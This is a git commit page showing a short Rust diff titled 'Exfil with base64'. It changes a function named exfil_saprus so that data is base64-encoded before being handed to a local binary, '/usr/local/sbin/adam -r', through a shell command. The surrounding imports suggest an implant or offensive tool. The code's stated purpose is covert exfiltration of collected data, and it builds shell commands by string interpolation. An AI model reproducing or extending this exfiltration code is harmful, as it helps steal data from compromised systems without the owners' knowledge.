Exfil with base64

This commit is contained in:
2025-04-11 14:53:44 -04:00
parent b82a8ac525
commit 086d370936
3 changed files with 10 additions and 1 deletions

View File

@@ -10,6 +10,7 @@ use std::io::{Error, ErrorKind};
use std::process::{Command, Output};
use std::ffi::CString;
use libc::{c_char, execvp, fork, waitpid, WIFEXITED, WEXITSTATUS};
use base64;
static AUTHOR_STRING: &str = r#"
Author: Spencer
@@ -22,7 +23,7 @@ fn cd(path: &str) -> Result<(), std::io::Error> {
}
fn exfil_saprus(data: &str) {
match execute_command(format!("/usr/local/sbin/adam -r '{}'", data).as_str()) {
match execute_command(format!("/usr/local/sbin/adam -r '{}'", base64::encode(data)).as_str()) {
_ => (),
}
}